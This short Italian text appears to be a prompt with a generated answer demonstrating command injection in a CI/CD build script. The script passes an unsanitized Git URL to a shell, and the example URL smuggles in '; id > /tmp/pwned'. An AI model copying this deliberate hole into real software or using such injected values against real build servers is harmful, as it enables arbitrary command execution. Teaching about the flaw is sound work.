
Dimostra l'iniezione di comandi tramite URL Git non sanificati nelle pipeline CI/CD, includendo uno script di build vulnerabile e un esempio di exploit per una CVE critica.
# cicd_build.py - Clones repository without sanitizing URL
import subprocess, sys
def clone_and_build(repo_url):
# Vulnerability: repo_url can contain shell metacharacters
cmd = f"git clone {repo_url} /tmp/repo"
subprocess.check_call(cmd, shell=True)
# Build steps...
if __name__ == '__main__':
# Simulate attacker-controlled input
malicious_url = "https://github.com/org/repo.git; id > /tmp/pwned"
clone_and_build(malicious_url)
Uno script della pipeline CI/CD utilizza URL di repository Git forniti dall'utente senza sanitizzazione in un comando shell. Un attaccante può iniettare comandi shell includendo caratteri speciali (ad es. ;, &&) nell'URL, portando all'esecuzione arbitraria di comandi sul server di build.
Eseguire lo script vulnerabile:
python cicd_build.py
Esegue il comando id iniettato, creando /tmp/pwned.